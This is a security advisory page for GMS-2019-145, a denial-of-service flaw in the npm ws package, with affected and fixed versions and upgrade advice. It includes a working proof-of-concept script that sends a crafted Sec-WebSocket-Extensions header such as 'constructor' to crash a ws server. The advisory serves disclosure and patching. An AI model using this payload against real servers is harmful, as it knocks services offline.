Advisory Database
  • Advisories
  • Dependency Scanning
  1. npm
  2. ›
  3. ws
  4. ›
  5. GMS-2019-145

GMS-2019-145: Denial of Service in ws

June 4, 2019 (updated August 4, 2021)

Affected versions of ws can crash when a specially crafted Sec-WebSocket-Extensions header containing Object.prototype property names as extension or parameter names is sent.

Proof of concept

const WebSocket = require('ws');
const net = require('net');

const wss = new WebSocket.Server({ port: 3000 }, function () {
  const payload = 'constructor';  // or ',;constructor'

  const request = [
    'GET / HTTP/1.1',
    'Connection: Upgrade',
    'Sec-WebSocket-Key: test',
    'Sec-WebSocket-Version: 8',
    `Sec-WebSocket-Extensions: ${payload}`,
    'Upgrade: websocket',
    '\r'
  ].join('\r');

  const socket = net.connect(3000, function () {
    socket.resume();
    socket.write(request);
  });
});

Recommendation

Update to version 3.3.1 or later.

References

  • github.com/advisories/GHSA-5v72-xg48-5rpm
  • github.com/websockets/ws/commit/c4fe46608acd61fbf7397eadc47378903f95b78a
  • nodesecurity.io/advisories/550
  • snyk.io/vuln/npm:ws:20171108
  • www.npmjs.com/advisories/550
  • www.npmjs.com/advisories/550/versions

Code Behaviors & Features

Detect and mitigate GMS-2019-145 with GitLab Dependency Scanning

Secure your software supply chain by verifying that all open source dependencies used in your projects contain no disclosed vulnerabilities. Learn more about Dependency Scanning →

Affected versions

All versions starting from 0.2.6 before 1.1.5, all versions starting from 2.0.0 before 3.3.1

Fixed versions

  • 1.1.5
  • 3.3.1

Solution

Upgrade to versions 1.1.5, 3.3.1 or above.

Source file

npm/ws/GMS-2019-145.yml

Spotted a mistake? Edit the file on GitLab.

  • Site Repo
  • About GitLab
  • Terms
  • Privacy Statement
  • Contact

Page generated Wed, 14 May 2025 12:15:03 +0000.